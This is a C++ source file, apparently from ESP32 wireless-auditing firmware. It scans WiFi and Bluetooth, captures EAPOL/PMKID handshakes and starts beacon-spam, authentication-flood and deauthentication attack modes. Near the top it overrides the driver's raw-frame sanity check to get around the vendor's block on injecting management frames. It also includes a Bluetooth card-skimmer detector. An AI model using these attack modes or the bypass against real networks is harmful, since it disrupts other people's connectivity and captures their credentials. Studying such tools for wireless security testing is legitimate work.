WiFiScan.cpp 83 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_AP)
  238. RunBeaconScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  240. RunAPScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_PWN)
  242. RunPwnScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_DEAUTH)
  244. RunDeauthScan(scan_mode, color);
  245. else if (scan_mode == WIFI_PACKET_MONITOR) {
  246. #ifdef HAS_SCREEN
  247. RunPacketMonitor(scan_mode, color);
  248. #endif
  249. }
  250. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  251. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  252. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  253. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  254. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  256. else if (scan_mode == WIFI_ATTACK_AUTH)
  257. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  258. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  259. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  260. else if (scan_mode == BT_SCAN_ALL) {
  261. #ifdef HAS_BT
  262. RunBluetoothScan(scan_mode, color);
  263. #endif
  264. }
  265. else if (scan_mode == BT_SCAN_SKIMMERS) {
  266. #ifdef HAS_BT
  267. RunBluetoothScan(scan_mode, color);
  268. #endif
  269. }
  270. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  271. RunEspressifScan(scan_mode, color);
  272. else if (scan_mode == LV_JOIN_WIFI) {
  273. #ifdef HAS_SCREEN
  274. RunLvJoinWiFi(scan_mode, color);
  275. #endif
  276. }
  277. else if (scan_mode == LV_ADD_SSID) {
  278. #ifdef HAS_SCREEN
  279. RunLvJoinWiFi(scan_mode, color);
  280. #endif
  281. }
  282. WiFiScan::currentScanMode = scan_mode;
  283. }
  284. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  285. // Common wifi attack configurations
  286. #ifdef HAS_SCREEN
  287. display_obj.TOP_FIXED_AREA_2 = 48;
  288. display_obj.tteBar = true;
  289. display_obj.print_delay_1 = 15;
  290. display_obj.print_delay_2 = 10;
  291. display_obj.initScrollValues(true);
  292. display_obj.tft.setTextWrap(false);
  293. display_obj.tft.setTextColor(TFT_BLACK, color);
  294. display_obj.tft.fillRect(0,16,240,16, color);
  295. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  296. display_obj.touchToExit();
  297. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  298. #endif
  299. packets_sent = 0;
  300. esp_wifi_init(&cfg);
  301. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  302. esp_wifi_set_mode(WIFI_AP_STA);
  303. esp_wifi_start();
  304. esp_wifi_set_promiscuous_filter(NULL);
  305. esp_wifi_set_promiscuous(true);
  306. esp_wifi_set_max_tx_power(78);
  307. this->wifi_initialized = true;
  308. initTime = millis();
  309. }
  310. bool WiFiScan::shutdownWiFi() {
  311. if (this->wifi_initialized) {
  312. esp_wifi_set_promiscuous(false);
  313. WiFi.disconnect();
  314. WiFi.mode(WIFI_OFF);
  315. esp_wifi_set_mode(WIFI_MODE_NULL);
  316. esp_wifi_stop();
  317. esp_wifi_deinit();
  318. this->wifi_initialized = false;
  319. return true;
  320. }
  321. else {
  322. return false;
  323. }
  324. }
  325. bool WiFiScan::shutdownBLE() {
  326. #ifdef HAS_BT
  327. if (this->ble_initialized) {
  328. pBLEScan->stop();
  329. pBLEScan->clearResults();
  330. BLEDevice::deinit();
  331. this->ble_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. #endif
  338. return true;
  339. }
  340. // Function to stop all wifi scans
  341. void WiFiScan::StopScan(uint8_t scan_mode)
  342. {
  343. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  344. (currentScanMode == WIFI_SCAN_AP) ||
  345. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  346. (currentScanMode == WIFI_SCAN_PWN) ||
  347. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  348. (currentScanMode == WIFI_SCAN_EAPOL) ||
  349. (currentScanMode == WIFI_SCAN_ALL) ||
  350. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  351. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  352. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  353. (currentScanMode == WIFI_ATTACK_AUTH) ||
  354. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  355. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  356. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  357. (currentScanMode == WIFI_PACKET_MONITOR) ||
  358. (currentScanMode == LV_JOIN_WIFI))
  359. {
  360. this->shutdownWiFi();
  361. }
  362. else if ((currentScanMode == BT_SCAN_ALL) ||
  363. (currentScanMode == BT_SCAN_SKIMMERS))
  364. {
  365. #ifdef HAS_BT
  366. this->shutdownBLE();
  367. #endif
  368. }
  369. #ifdef HAS_SCREEN
  370. display_obj.display_buffer->clear();
  371. //Serial.print("display_buffer->size(): ");
  372. Serial.println(display_obj.display_buffer->size());
  373. display_obj.tteBar = false;
  374. #endif
  375. }
  376. String WiFiScan::getStaMAC()
  377. {
  378. char *buf;
  379. uint8_t mac[6];
  380. char macAddrChr[18] = {0};
  381. esp_wifi_init(&cfg);
  382. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  383. esp_wifi_set_mode(WIFI_MODE_NULL);
  384. esp_wifi_start();
  385. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  386. this->wifi_initialized = true;
  387. sprintf(macAddrChr,
  388. "%02X:%02X:%02X:%02X:%02X:%02X",
  389. mac[0],
  390. mac[1],
  391. mac[2],
  392. mac[3],
  393. mac[4],
  394. mac[5]);
  395. this->shutdownWiFi();
  396. return String(macAddrChr);
  397. }
  398. String WiFiScan::getApMAC()
  399. {
  400. char *buf;
  401. uint8_t mac[6];
  402. char macAddrChr[18] = {0};
  403. esp_wifi_init(&cfg);
  404. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  405. esp_wifi_set_mode(WIFI_MODE_NULL);
  406. esp_wifi_start();
  407. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  408. this->wifi_initialized = true;
  409. sprintf(macAddrChr,
  410. "%02X:%02X:%02X:%02X:%02X:%02X",
  411. mac[0],
  412. mac[1],
  413. mac[2],
  414. mac[3],
  415. mac[4],
  416. mac[5]);
  417. this->shutdownWiFi();
  418. return String(macAddrChr);
  419. }
  420. String WiFiScan::freeRAM()
  421. {
  422. char s[150];
  423. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  424. this->free_ram = String(esp_get_free_heap_size());
  425. return String(s);
  426. }
  427. // Function to start running a beacon scan
  428. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  429. {
  430. sd_obj.openCapture("ap");
  431. Serial.println(text_table4[9] + (String)access_points->size());
  432. #ifdef HAS_SCREEN
  433. display_obj.TOP_FIXED_AREA_2 = 48;
  434. display_obj.tteBar = true;
  435. display_obj.print_delay_1 = 15;
  436. display_obj.print_delay_2 = 10;
  437. display_obj.initScrollValues(true);
  438. display_obj.tft.setTextWrap(false);
  439. display_obj.tft.setTextColor(TFT_WHITE, color);
  440. display_obj.tft.fillRect(0,16,240,16, color);
  441. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  442. display_obj.touchToExit();
  443. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  444. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  445. #endif
  446. esp_wifi_init(&cfg);
  447. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  448. esp_wifi_set_mode(WIFI_MODE_NULL);
  449. esp_wifi_start();
  450. esp_wifi_set_promiscuous(true);
  451. esp_wifi_set_promiscuous_filter(&filt);
  452. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  453. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  454. this->wifi_initialized = true;
  455. initTime = millis();
  456. }
  457. #ifdef HAS_SCREEN
  458. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  459. display_obj.tft.init();
  460. display_obj.tft.setRotation(1);
  461. #ifdef TFT_SHIELD
  462. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  463. Serial.println("Using TFT Shield");
  464. #else if defined(TFT_DIY)
  465. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  466. Serial.println("Using TFT DIY");
  467. #endif
  468. display_obj.tft.setTouch(calData);
  469. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  470. lv_disp_load_scr(scr);
  471. }
  472. #endif
  473. void WiFiScan::RunClearAPs() {
  474. #ifdef HAS_SCREEN
  475. display_obj.tft.setTextWrap(false);
  476. display_obj.tft.setFreeFont(NULL);
  477. display_obj.tft.setCursor(0, 100);
  478. display_obj.tft.setTextSize(1);
  479. display_obj.tft.setTextColor(TFT_CYAN);
  480. display_obj.tft.println(F(text_table4[9]));
  481. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  482. #else
  483. this->clearAPs();
  484. #endif
  485. }
  486. void WiFiScan::RunClearSSIDs() {
  487. #ifdef HAS_SCREEN
  488. display_obj.tft.setTextWrap(false);
  489. display_obj.tft.setFreeFont(NULL);
  490. display_obj.tft.setCursor(0, 100);
  491. display_obj.tft.setTextSize(1);
  492. display_obj.tft.setTextColor(TFT_CYAN);
  493. display_obj.tft.println(F(text_table4[11]));
  494. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  495. #else
  496. this->clearSSIDs();
  497. #endif
  498. }
  499. void WiFiScan::RunGenerateSSIDs(int count) {
  500. #ifdef HAS_SCREEN
  501. display_obj.tft.setTextWrap(false);
  502. display_obj.tft.setFreeFont(NULL);
  503. display_obj.tft.setCursor(0, 100);
  504. display_obj.tft.setTextSize(1);
  505. display_obj.tft.setTextColor(TFT_CYAN);
  506. display_obj.tft.println(F(text_table4[13]));
  507. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  508. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  509. #else
  510. this->generateSSIDs(count);
  511. #endif
  512. }
  513. void WiFiScan::RunShutdownWiFi() {
  514. #ifdef HAS_SCREEN
  515. display_obj.tft.setTextWrap(false);
  516. display_obj.tft.setFreeFont(NULL);
  517. display_obj.tft.setCursor(0, 100);
  518. display_obj.tft.setTextSize(1);
  519. display_obj.tft.setTextColor(TFT_CYAN);
  520. display_obj.tft.print(F(text_table4[16]));
  521. #endif
  522. if (this->wifi_initialized) {
  523. this->shutdownWiFi();
  524. #ifdef HAS_SCREEN
  525. display_obj.tft.setTextColor(TFT_GREEN);
  526. display_obj.tft.println(F("OK"));
  527. #endif
  528. }
  529. else {
  530. #ifdef HAS_SCREEN
  531. display_obj.tft.setTextColor(TFT_RED);
  532. display_obj.tft.println(F(text17));
  533. display_obj.tft.println(F(text_table4[17]));
  534. #endif
  535. }
  536. }
  537. void WiFiScan::RunShutdownBLE() {
  538. #ifdef HAS_SCREEN
  539. display_obj.tft.setTextWrap(false);
  540. display_obj.tft.setFreeFont(NULL);
  541. display_obj.tft.setCursor(0, 100);
  542. display_obj.tft.setTextSize(1);
  543. display_obj.tft.setTextColor(TFT_CYAN);
  544. display_obj.tft.print(F(text_table4[18]));
  545. #endif
  546. if (this->ble_initialized) {
  547. this->shutdownBLE();
  548. #ifdef HAS_SCREEN
  549. display_obj.tft.setTextColor(TFT_GREEN);
  550. display_obj.tft.println(F("OK"));
  551. #endif
  552. }
  553. else {
  554. #ifdef HAS_SCREEN
  555. display_obj.tft.setTextColor(TFT_RED);
  556. display_obj.tft.println(F(text17));
  557. display_obj.tft.println(F(text_table4[19]));
  558. #endif
  559. }
  560. }
  561. void WiFiScan::RunInfo()
  562. {
  563. String sta_mac = this->getStaMAC();
  564. String ap_mac = this->getApMAC();
  565. String free_ram = this->freeRAM();
  566. //Serial.print("STA MAC: ");
  567. //Serial.println(sta_mac);
  568. //Serial.print("AP MAC: ");
  569. //Serial.println(ap_mac);
  570. Serial.println(free_ram);
  571. #ifdef HAS_SCREEN
  572. display_obj.tft.setTextWrap(false);
  573. display_obj.tft.setFreeFont(NULL);
  574. display_obj.tft.setCursor(0, 100);
  575. display_obj.tft.setTextSize(1);
  576. display_obj.tft.setTextColor(TFT_CYAN);
  577. display_obj.tft.println(text_table4[20]);
  578. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  579. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  580. #endif
  581. if (this->wsl_bypass_enabled) {
  582. #ifdef HAS_SCREEN
  583. display_obj.tft.println(text_table4[23]);
  584. #endif
  585. }
  586. else {
  587. #ifdef HAS_SCREEN
  588. display_obj.tft.println(text_table4[24]);
  589. #endif
  590. }
  591. #ifdef HAS_SCREEN
  592. display_obj.tft.println(text_table4[25] + sta_mac);
  593. display_obj.tft.println(text_table4[26] + ap_mac);
  594. display_obj.tft.println(text_table4[27] + free_ram);
  595. #endif
  596. if (sd_obj.supported) {
  597. #ifdef HAS_SCREEN
  598. display_obj.tft.println(text_table4[28]);
  599. display_obj.tft.print(text_table4[29]);
  600. display_obj.tft.print(sd_obj.card_sz);
  601. display_obj.tft.println("MB");
  602. #endif
  603. }
  604. else {
  605. #ifdef HAS_SCREEN
  606. display_obj.tft.println(text_table4[30]);
  607. display_obj.tft.println(text_table4[31]);
  608. #endif
  609. }
  610. battery_obj.battery_level = battery_obj.getBatteryLevel();
  611. if (battery_obj.i2c_supported) {
  612. #ifdef HAS_SCREEN
  613. display_obj.tft.println(text_table4[32]);
  614. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  615. #endif
  616. }
  617. else {
  618. #ifdef HAS_SCREEN
  619. display_obj.tft.println(text_table4[34]);
  620. #endif
  621. }
  622. #ifdef HAS_SCREEN
  623. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  624. #endif
  625. }
  626. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  627. sd_obj.openCapture("espressif");
  628. #ifdef HAS_SCREEN
  629. display_obj.TOP_FIXED_AREA_2 = 48;
  630. display_obj.tteBar = true;
  631. display_obj.print_delay_1 = 15;
  632. display_obj.print_delay_2 = 10;
  633. display_obj.initScrollValues(true);
  634. display_obj.tft.setTextWrap(false);
  635. display_obj.tft.setTextColor(TFT_WHITE, color);
  636. display_obj.tft.fillRect(0,16,240,16, color);
  637. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  638. display_obj.touchToExit();
  639. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  640. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  641. #endif
  642. esp_wifi_init(&cfg);
  643. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  644. esp_wifi_set_mode(WIFI_MODE_NULL);
  645. esp_wifi_start();
  646. esp_wifi_set_promiscuous(true);
  647. esp_wifi_set_promiscuous_filter(&filt);
